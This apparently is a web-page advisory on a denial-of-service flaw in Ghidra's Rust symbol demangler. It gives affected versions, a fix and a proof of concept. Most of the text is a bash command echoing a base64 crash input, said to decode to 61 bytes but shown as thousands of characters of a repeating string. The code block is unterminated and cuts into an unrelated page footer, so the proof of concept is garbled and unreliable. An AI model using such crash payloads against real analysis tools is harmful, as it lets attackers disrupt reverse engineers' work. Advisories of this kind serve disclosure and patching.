Ghidra Rust Demangler Unbounded Memory Allocation DoS Vulnerability

Vulnerability Overview Vulnerability Name: Out-of-Memory in Ghidra GNU Demangler Causes Process Crash Description: The component within Ghidra's GNU Demangler does not enforce a size limit when allocating the output buffer. This allows an attacker to cause an unbounded memory allocation (exceeding 2GB) by providing a small malicious input (approximately 61 bytes), resulting in a crash of Ghidra during the binary analysis process. Root Cause: The function grows the output buffer exponentially during expansion without any maximum size check. Affected Versions Affected Versions: < 12.0.3 Fixed Versions: 12.0.3 Severity: Medium Impact Type: Denial of Service (DoS) Attack Vector: Binary files containing maliciously crafted Rust symbol names Affected Components: , , Ghidra Analysis Remediation Recommended Action: Upgrade to Ghidra version 12.0.3 or later, which implements process timeout limits for the GNU Demangler. POC Code Triggering File File Content: A 61-byte file containing a malformed Rust v0 mangled symbol. Generation Method: ```bash Base64 decode to create the crash input echo "XJ2JFnZDNR1X0Mh0d5RcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcHlWcH

Goal Reached Thanks to every supporter — we hit 100%!

Ghidra Rust Demangler Unbounded Memory Allocation DoS Vulnerability

More from this source